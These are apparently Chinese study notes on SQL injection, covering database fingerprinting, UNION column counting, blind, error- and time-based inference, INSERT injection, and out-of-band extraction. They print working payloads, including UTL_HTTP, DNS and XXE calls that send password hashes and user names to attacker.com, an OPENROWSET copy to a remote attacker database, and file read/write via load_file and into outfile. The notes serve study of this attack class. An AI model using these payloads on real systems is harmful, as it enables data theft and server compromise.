Sql注入语句
安全复查
有效复查源代码:
-
区分危险编码行为
-
识别安全敏感函数
-
定位处理输入方法并跟踪数据流执行路径至源头
识别数据库
经验判断:
-
ASP和.NET 较可能使用 SQL Server
-
PHP 较可能使用MySql 或 PostgreSQL
-
Java 较可能使用 MySQL或 Oracle
-
服务器是IIS 基于windows架构,后台可能是SQL Server
-
服务器是Apache,Nginx的PHP服务器可能是开源数据库
-
灵活组合,多收集
采用特定方式:
-
针对特定数据库平台的特征数据攻击
-
针对数据库特定字符连接方式:SQL Server(select "a"+"b"),MySql(select "a" "b",select concat("a","b"))等
-
针对数据库特定数据计算方式: SQL Server(@@pack_received,@@rowcount) MySql(connection_id(),last_insert_id(),row_count())等 都会在正确的数据库下被计算为整数
-
-
特定函数
利用Sql语句
要义:当存在注入点,就是怎么使用sql语句的事情,更多的去查阅当前数据的sql语句使用
union提取数据
要义:
-
提取列数相同,类型相同
-
两个查询会被合并输出,列名使用第一个查询的列名
-
union会把重复的数据剔除,union all 会返回所有数据
怎样判断列数:
-
多次提交访问请求,试错。语句:
-
union select null #;
-
union select null,null#;
-
union select null,null,null#;
-
-
使用order by 语句,指定第几列排序,超出查询列数即出错。语句:
-
select a,b,c from user order by 1;-->true
-
select a,b,c from user order by 2;-->true
-
select a,b,c from user order by 3;-->true
-
select a,b,c from user order by 4;-->false
证明存在3列,由此可以使用二分查找法,快速查找到列数。
-
通过union语句提取数据是非常快速的方法,但是通常在初期,只能提及少量的数据。因此使用一条语句来表示这些查询IF condition THEN do_something ELSE do_somthing_else,由此产生3中条件语句的利用方法:
-
基于时间:
-
查询版本号:IF (substring(select @@version),25,1)=5 WAITFOR DELAY '0:0:5' -- ;
@@version内置变量:Microsoft SQL Server 2014 (SP2-GDR) (KB4019093) - 12.0.5207.0 (X64)
-
在Mysql中可以使用这样查询创建一个数秒延迟: Select Benchmark(1000000,shal('blah'));--->将blah的sha1哈希值计算10^6次 或者使用 Select sleep(5);
要义:使用时间函数,或者使的计算复杂度增加执行时间
-
-
基于错误:
-
"http://www.test.com/product.asp?id=12/is_srvrolemember('sysadmin')"
is_srvrolemember()是一个SQL Server T-SQL函数,返回下列值:
-
1:用户属于指定值
-
0:用户不属于指定组
-
NULL:指定组不存在
根据响应不同来判断指定信息
-
-
Case语句在主流服务器上均受支持,可以在堆叠查询不可用时,依然有用:
http://www.test.com/products.asp?id=12/(case+when+(system_user='sa')+then+1+else+0+end)
-
-
基于内容:
要义:相比于WAITFOR 而言,基于错误响应时间更快,能更快得到结果
-
字符串提取:
改变字符串输入逻辑进行判断:http://www.test.com/search.asp?brand=acm'%2b'e---->%2b是("+") 的url编码。改变了运行逻辑
可以对url进一步修改,以方便提取数据: http://www.test.com/search.asp?brand=ac‘%2Bchar(109)%2B'e--->有了可操纵的数字变量,可以运用前面的技术进行提取
http://www.test.com/search.asp?brand=acm'%2Bchar(108%2B(case+when+system_user+=+'sa')+then+1+else+0+end)%2B’e ---> 第一个连接产生字符串为 acme, 第二个为 acle,得到我们需要的数据
-
扩展攻击
当我们想要完整的获取一个数据,第一步需要进行的是判断字段长度---> select len(system_user)=9
http://www.test.com/search.asp?id=1%2Bcase+when+select+len(system_user)+>16+then+1+else+0+end; ERROR
http://www.test.com/search.asp?id=1%2Bcase+when+select+len(system_user)+>12+then+1+else+0+end;
ERROR
http://www.test.com/search.asp?id=1%2Bcase+when+select+len(system_user)+>8+then+1+else+0+end;
TRUE
http://www.test.com/search.asp?id=1%2Bcase+when+select+len(system_user)+>10+then+1+else+0+end;
ERROR--->得出结论为9
-
利用错误:
##################
前面的技术可以提取少量信息,现在学习要怎么来获取大量数据。
要义:枚举数据库模式,可以通过提取元数据(metadata)实施攻击--->先决条件:已经获取元数据的授权。但是经常是没有的,需要对用户权限进行升级。 主要使用union查询
SQL Server ,Mysql,PostgreSql 相差不多
INSERT查询注入攻击语句
-
第一种:插入用户规定的数据
注入的列不是表种最后一列,事情处理起来相对简单
第一列插入任意值,闭合单引号,并注入需要的语句,注释掉后面的语句
http://www.test1.com/register.php?name=abc' ,'select @@version'--&sex=
注入列是最后一列的时候,没有办法构造下一个参数。必须处理由应用程序打开,但未关闭的参数
http://www.test1.com/register.php?name=abc&sex=a
主要利用 要查询的数据绑定到上面
-
生成INSERT 错误
生成需要的数据,并执行查询失败
提升权限
窃取哈希口令
带外通信(out of band)
发送和传输不在同一信道上进行,称为out of band。可以利用数据库的功能来执行ATTACKER 需要的功能,发送e-mail 指令,与文件系统交互。
-
e-mail
每个数据库有不同的函数
-
HTTP/DNS
Oracle提供两种执行HTTP请求方法:UTL_HTTP和HTTPURI_TYPE
例如要向远程系统发送SYS用户哈希口令,可以注入下列字符串:
or 1=utl_http.requests('http://www.test.com/' || (select password from dba_users where rownum=1)) -- ;
-
文件系统
当资金不足时,服务器和数据库存在同一台机器上。存在安全缺陷:攻击者只需要利用其中的一种漏洞就足以获取对所有组件的完全控制权
要义:读写文件,通过浏览器访问服务器文件。查阅指定数据库读写文件方法。
-
移动设备注入
Sqlite在移动设备上是一种内部进程间通信(IPC)利用漏洞技术而言,在Android设备上的SQL注入与PC上的注入技术类似,区别在于:
-
PC使用浏览器通过web应用程序与数据库通信
-
Android设备与Content Provider进行通信。
安装WebContentResolver应用程序,可以帮助我们使用一个普通HTTP客户端与Content Provider通信
假设好于移动设备通信的渠道,攻击手机上的小型APP与前面的服务器数据库技术没有太大区别
-
盲注
要义:页面没有报错信息给我们利用,返回通用页面。
基于时间
if then sleep();
if then benchark(times,function());
判断位数
基于响应
使用非主流通道
要义:除了利用推断来获取数据,还可以利用通道来获取块。由于通道依赖于数据库特定功能,所以每个数据库执行的行为不一样
-
数据库连接
-
主要针对Sql Server,攻击者在受害者数据库上打开一条通向攻击者的数据库的TCP连接。
-
SQL Server使用OPENROWSET执行与远程OLE DB数据源的一次性连接
-
Insert into openrowst('SQLOLEDB','Network=DBMSOCN;Address=192.168.0.1;uid=foo;pwd=password','select * from attacker_table') select name from sysobjects where xtype='u';
这里通过选取本地数据库用户表的名字,并将这些插入到192.168.0.1上的 attacker_table表中
-
-
DNS渗漏
-
攻击者必须对某一区域内进行了验证注册了的DNS服务器拥有访问权
-
Select * from reviews where review_author=UTL_INADDR.GET_HOST_ADDRESS((select user from dual)|| '.attacker.com')--->提取数据库登录用户,对DNS服务器进行查找
-
select XMLPARSE(document '<? xml version="1.0" encoding="ISO-8859-1"?> <!doctype x [<! ELEMENT x ANY ><! ENTITY xx SYSTEM "http://'|| user || 'attacker.com./">]><x>&xx;</x>');
-
-
e-mail渗漏
-
Http渗漏
要义:将要查询的数据以参数形式请求攻击者服务器,Attacker便可以在服务器查看请求信息
-
select * from reviews where review_author=utl_http.request('www.attacker.com/' || USER)
attacker日志记录:
192.168.1.10 -- [13/Jan/2009:08:38:04 -0600] "GET /SQLI HTTP/1.1" 404 284
-
利用操作系统
访问文件系统
1.读文件
-
select load_file('/tmp/test.txt');
mysql可以使用十六进制来表示字符串
-
load_file 还可以处理二进制文件,但二进制不可见,无法使用。mysql内部使用hex()函数提供了办法:
select HEX(line) from foo;
2.写文件
-
select into outfile
-
写入二进制文件,into dumpfile. 必须使用UNHEX()函数
select unhex('56365E565464658');
执行操作系统命令
-
mysql本身不支持shell命令,但是如果数据库与web服务器在同一台主机,可以将命令写入服务器启动文件中
-

浙公网安备 33010602011771号